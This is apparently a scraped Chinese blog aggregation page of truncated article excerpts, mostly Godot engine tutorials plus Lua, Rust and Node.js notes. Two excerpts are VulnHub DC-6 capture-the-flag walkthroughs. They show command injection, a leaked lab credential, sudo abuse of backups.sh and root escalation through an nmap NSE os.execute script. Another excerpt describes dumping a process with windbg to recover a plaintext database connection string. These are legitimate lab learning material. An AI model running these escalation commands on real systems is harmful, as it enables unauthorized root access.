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    Godot进行2D游戏开发入门-安装与介绍

    安装方便,下载完成后解压只有一个exe,运行即可,并且安装小。 Godot劣势 由于是开源,暂不支持导出PS4/PS5、Switch。 Godot教程和资料很少,几乎只能查API。...语言推荐 Godot支持编程语言有GDScript和C#,这里推荐使用GDScript,虽然对C#比较熟悉,但是考虑到C#运行环境版本及需要编译执行,所以并不推荐C#。...Rcedit 在导出选项中选择它之前,您需要额外安装一个名为 rcedit 工具。您可以在这里进行下载。 下载后,您需要告诉 Godot 计算机上 rcedit 可执行文件路径。...点击 rcedit 条目的文件夹图标。导航到并选择 rcedit 可执行文件。...文件夹结构 开发时按照以下目录进行分类管理文件 dist(游戏导出目录) addons(插件) scenes(游戏场景) scripts(脚本) scenes(场景挂载代码) autoload

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    从 vue-cli 源码发现了27行读取 json 文件有趣 npm

    同时之前看到了vue-cli 源码 里有 read-pkg 这个。源码仅27行,非常值得我们学习。 阅读本文,你将学到: 1. 如何学习调试源码 2....用最新VSCode 打开项目,找到 package.json scripts 属性 test 命令。鼠标停留在test命令上,会出现 运行命令 和 调试命令 选项,选择 调试命令 即可。...如果模块里面还有一个数据文件 data.txt,那么就可以用下面的代码,获取这个数据文件路径。...new URL('data.txt', import.meta.url) 注意,Node.js 环境,import.meta.url 返回总是本地路径,即是file:URL协议字符串,比如 file...学 Node.js 可以多找找简单 npm 学习。比直接看官方文档有趣多了。不懂就去查官方文档。查多了,自然常用就熟练了。

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    Godot3游戏引擎入门之一:熟悉编辑器界面

    64 位 Windows 版本总大小不到 40M ,官网下载页面直达: https://godotengine.org/download ,下载 zip 后解压无需安装,直接使用,不过这里有三件小事情要告诉大家...配置文件夹位置:如果你直接打开 Godot.exe ,那么它配置文件默认生成在 C 盘目录下(使用是 Win10 系统),但是你可以随时改回来,只需要在 Godot 软件文件夹下创建一个 _sc_...文件即可,后面有截图说明。...OK ,双击 exe 文件,开始那愉快 Godot 之旅吧,骚年! ? 界面介绍 首先是开场白 打开 Godot 第一眼是很普通项目控制面板,这里可以设置编辑器显示语言: ?...编程语言 在本系列第一篇文章说过如果你曾经是 Adobe Flash 开发者,那么你对 Godot 中一个节点绑定一个脚本约定会感觉非常熟悉。

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    工具| 诸神之眼之邮件发送nmap扫描报告

    wode 0x01 从SMTP协议说起 优秀扫描器都有邮件通知功能,Nmap也一样,在Nmap文件已经为我们提供了用来操作SMTP协议文件smtp.lua。...为了便于我们来理解SMTP指令使用,下面简单介绍下,在CMD下,如何用telnet发送SMTP指令方式发出一封邮件。 telnet smtp.163.com 25 ?...nmap --script smtp -oG 1.txt 这个方法有点简单粗暴哈,有更好方案小伙伴?...注意,因为发送邮件头和邮件正文是有一个回车换行,但是实际代码,确是拼接了2个\r\n才区分开正文和邮件头。...没错,用python发邮件更加容易,而且我们可以在lua执行python脚本,简单粗暴方式如下:直接用luaos.execute命令执行系统命令,而sendmail.py则写好了如何发送邮件。

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    配置文件数据库连接串加密了,你以为就挖不出来

    讲故事 前几天在调试物联柜终端上一个bug时发现 app.config 数据库连接串是加密,因为调试要切换数据库,需要将密文放到专门小工具上解密,改完连接串上数据库名,还得再加密贴到 app.config...从DAL/Repository层去反编译代码 要想得到明文数据库连接串,可以从代码反推,比如从 DAL 或者 Repository 找连接串字段 ConnectionString,这边终端程序是用...这些FCL类你是没法混淆从这些类上反推可以很轻松就能找到明文 ConnectionString ,所以这条路觉得是走不通。...接下来问题就是有没有办法把进程这个静态变量给挖出来?你说对,就是抓程序 dump文件 用 windbg 去挖。 三:使用 windbg 去脱库 1....从上图中可以看到,静态字段是在 Manager 类型对象 ,实例字段都是在 Manager 对象 ,对照这张图,只需要通过 windbg 找到 OleDbHelper 类型对象,也就是所谓 EEClass

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    Godot3游戏引擎入门之三:移动我们主角

    一、前言 说明:目前使用 Godot 3.1 预览版,所以会与 Godot 3 版本有一些区别,界面影响不大,如果要使用上传 Github Demo 代码,记得去官网下载 3.1 预览版(或者等之后正版发布...重铺图片导入 接着是地面的图片设置,还是使用上一节图片,之前已经提到了如何设置普通图片材质平铺属性,不过,之前设置在重新打开后会丢失,如果保存平铺设置?...哈哈,其实原因在上图已经说明了,这是由于 Godot 节点渲染顺序引起,越在上面的节点,渲染顺序越前,所以下面的节点会最后渲染,造成结果就是:可能会覆盖之前渲染上面的一些节点。...,不是?...开始拿起笔头编写脚本吧,这里把基本完工脚本贴出来,你可以从英文单词释义或者注释得到每一行代码功能是什么样,具体如下: # 继承于Node2D extends Node2D # 常量,表示速度

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    Godot3游戏引擎入门之十:介绍一些常用节点并开发一个小游戏(上)

    5. get_tree().paused 在游戏中添加了暂停功能,相信大部分游戏都有这个功能吧。在 Godot 暂停功能非常容易实现!...对于新手来说,觉得可以把协程简单地理解为:程序运行到该位置( yield ),暂停挂起在当前位置,继续执行其他代码,当时机到来,回到刚才挂起位置继续执行。...文件管理 在之前文章里,对于小项目都没有做特殊文件管理,但是当游戏项目越来越大时候,我们需要引起足够重视,因为这会影响开发速度、以及团队合作效率。...Unity 和 Godot文件管理风格样式,个人更倾向于 Godot 文件组织方式,因为等会还会讨论一条重要开发原则:尽量保持每个子场景独立性!...保持场景独立 嗯,认为这是 Godot 开发游戏最重要一条原则了!它能明显地提升开发效率,提高团队合作,更利于 Debug 调试。

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    Godot游戏开发实践之三:容易被忽视Resource

    开发过 Unity 游戏同学们知道一个叫 ScriptableObject 很有用类,它可以用于数据包装,在不少场合应该是非常有用,那么在 Godot 中有没有这个类似的特性呢?...这些都会谈到,更重要是,今天会利用 Resource 提出一个全新、灵活、“强力”解耦 EventBus 全局事件模式。感兴趣?那我们继续。...[常用资源类型] 资源创建和使用也非常简单,不过,目前在 Godot 3 版本也存在一些局限性,接下来我们详细聊聊。...用 Resource 创建全局事件 EventBus 可以说这是本文重点,目前还没有看到有任何人在项目中使用过这种方式,且听我慢慢道来~~~ 首先,关于 Godot signal 信号以及观察者模式相信大家都已经驾轻就熟了...,强力解耦,使用起来非常方便,调试也非常简单,易扩展和维护 关于第二种方式是大家推荐模式,在之前示例中就使用过:(Godot游戏开发实践之一:使用High Level Multiplayer API

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    Godot3游戏引擎入门之四:给主角添加动画(下)

    在这两篇文章里,我会详细讲述 Godot 3 制作简单精灵动画三种方法,其中上部分包含两种,下部分讨论第三种方式。 ?...在上一节内容,我们还了解到了 Godot 图片坐标原点位置相关设置。 ?...这个时候你会想:如果在代码获取 Swan Frame 属性,然后把它值每次往前加 1 不就可以生成动画了吗?的确可以!...不过这不是我们要讨论重点,所要给大家介绍Godot 强大到能够控制一切关键帧动画节点工具: AnimationPlayer !...所有代码 我们游戏终于完成了,这里附上所有的代码,如果你已经阅读过前面两篇文章:Godot3游戏引擎入门之三:移动我们主角,那么请跳过。

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    【Vulnhub】DC-6

    passwords.txt 找到账户密码:mark/helpdesk01 登录后,后台一个工具里面有个功能,存在命令执行漏洞 用 burp 抓一下,看一下,在后面加上个 ;ls 成功回显了目录下文件...pty;pty.spawn('/bin/bash')" 开启一个好看点 shell 在 mark 目录下找到了一个用户名和密码 graham/GSo7isUM1D4 这个账户可以直接 ssh 登进来...ssh graham@192.168.149.164 登陆以后,sudo -l 发现一个不需要密码就可以用 在后面追加一个 /bin/bash,这样运行时候就能拿到 jens shell 了..."/bin/bash" >> /home/jens/backups.shsudo -u jens /home/jens/backups.sh 再找一下,这次是 nmap 可以写个脚本,让 nmap 来执行脚本...,然后拿到 shell echo 'os.execute("/bin/sh")' > shell.nsesudo nmap --script getroot.nse ?

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    【Rust 日报】2021-09-30 明天就是国庆长假了!祝愿大家能开开心心过长假!

    适用于任何有兴趣开始使用godot-rust这个crate为Godot编写GDNative Rust代码的人,使用Rust跟着HeartBeastGodot Action RPG系列教程(旨在教授引擎和...最后,学到了很多关于Godotgodot-rust crate知识,并得出结论,不确定使用Rust w/Godot对于简单或非高性能项目是否有必要,因为你没有得到Rust好处;你被C++限制所束缚...打算等到Godot 4.0再做最终判断,因为它承诺为GDScript以外语言提供更符合人体工程学api接口(他们在报告包括Rust)。...repo,这个练习结果,可以在这里找到 godot-action-rpg-tutorial-rs。 我会尽我所能回答问题。祝您愉快!...— Quine Dot 在 rust-users 发言 你想知道什么比学习生命期更难?通过二十年时间去犯可预防错误能学习同样课程。

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    打靶系列之DC-6

    ,就可以直接爆破 寻找了一番,发现DC-6作者已经把密码告诉了我们:https://www.vulnhub.com/entry/dc-6,315/ OK, this isn't really a clue.../home/jens文件下看到backups.sh脚本 执行 sudo -l 发现无密码执行权限,利用这个sh脚本可以直接获取到jensshell 执行一下命令 #将脚本内容清空 cat /dev.../null > backups.sh #将/bin/bash写入backups.sh文件 echo "/bin/bash" >> backups.sh 执行 #使用jens用户执行sh脚本文件即可获取.../backups.sh 成功拿到jens用户shell 执行 #查看jens权限 sudo -l 可以看到这里可以利用nmap进行提权 进入/home/jens目录,执行下面两条命令 #将os.execute...('/bin/bash')写入到root.nse文件 echo "os.execute('/bin/bash')" >> root.nse #利用nmap插件执行 /bin/bash 来获取root

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    Godot游戏开发实践之二:AI之寻路新方式

    节点进行可行区域绘制,在 TileMap 绘制可行区域需要在 TileSet 绘制相应 Navigation 形状即可,可以参考之前文章: Godot3游戏引擎入门之七:地图添加碰撞体制作封闭游戏世界...这里实现方式稍做了修改:把记录玩家,也就是目标的行踪点数据放在了 AI 脚本,而非玩家脚本。...# 跟踪记录位置计时器 var _trackPoints := [] # 跟踪目标的位置点集合 var _trackTarget : Node2D = null # 跟踪目标,也可以用父类...之后还会发文解析如何将 Unity Pluggable AI With Scriptable Objects 系列转到 Godot ,大家拭目以待吧。...:smile: PS: Demo 画出来射线状态(红色代表碰撞,其他颜色则表示无碰撞)有点问题,还在研究…… 博客地址: http://liuqingwen.me ,博客即将同步至腾讯云

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    Godot3游戏引擎入门之八:添加可收集元素和子场景

    除此之外,还会介绍 Godot 两个非常重要概念或者实用技巧:子场景创建和 Godot 中信号使用。...这就是 Godot 中所谓 Sub-Scene 子场景概念了。 说很多,实际上做起来很简单。首先,又得做下比较了: Godot 子场景可比 Unity 预制体功能强大多了!...,如果不明白怎么回事,又发生了金币不能被正常收集,那么你可以参考之前文章,使用 Godot 碰撞体调试功能测试一下吧!...连接后我们打开脚本文件,可以看到 Godot 自动帮我们添加了一个方法,同时在 Area2D 信号面板也有了变化: body_entered(PhysicsBody2D body) 信号下有了新建方法连接提示...链接按钮,然后选择我们保存金币场景资源 Coin.tscn 文件,即可实例化一个金币到主场景,重复这个操作,多添加几个金币,放置到不同位置,充分发挥你想象吧! ?

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    Godot3游戏引擎入门之零一:【翻译】为什么要选择 Godot 引擎

    友好版本控制 你是否曾经遇到过在使用 Unity 或者 Unreal 时候发生了场景或者预制体或者其他对象文件在仓库版本冲突问题?...如果有的话,难么你应该知道这是多么痛苦一件事了,特别是在大型团队里。 在 Godot 任何对象都是以文本文档形式保存,对于合并冲突来说是绝对是一种非常友好而且可读性强文件格式。...另外,觉得 GDScript 是让新用户拒而远之最主要原因。重点列举以下所听见抱怨几条: 是不是必须要学习一门只能在 Godot 中使用编程语言?...在 Reakt 开发过程,我们使用 Godot 2.1.3 版本,发现了一些小 Bug 和一些怪异地方: 有一台 13 寸 Macbook Pro Retina 。...在 Godot 创建原生模块非常繁琐:你不得不下载引擎源码,在指定文件创建并包含原生模块,编译 Godot 引擎,接着编译测试版和发布版。

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    Lua输入输出

    因此,当执行类似于io.read()这样语句时,就可以从标准输入读取一行。 函数io.input可以用于改变当前输入输出流。...选项”l”是函数read默认参数。通常只在逐行处理数据算法使用该参数,其他情况则更倾向于使用选项”a”一次性地读取整个文件,或者像后续介绍按块读取。...除了上述这些基本读取模式外,在调用函数read时还可以用一个数字n作为其参数:在这种情况下,函数read会从输入流读取n个字符。...运行系统命令 函数os.execute用于运行系统命令,它等价于C语言中函数system。该函数参数为表示待执行命令字符串,返回值为命令运行结束后状态。...同函数os.execute一样,该函数运行一条系统命令,但该函数还可以重定向命令输入/输出,从而使得程序可以向命令写入或从命令输出读取。

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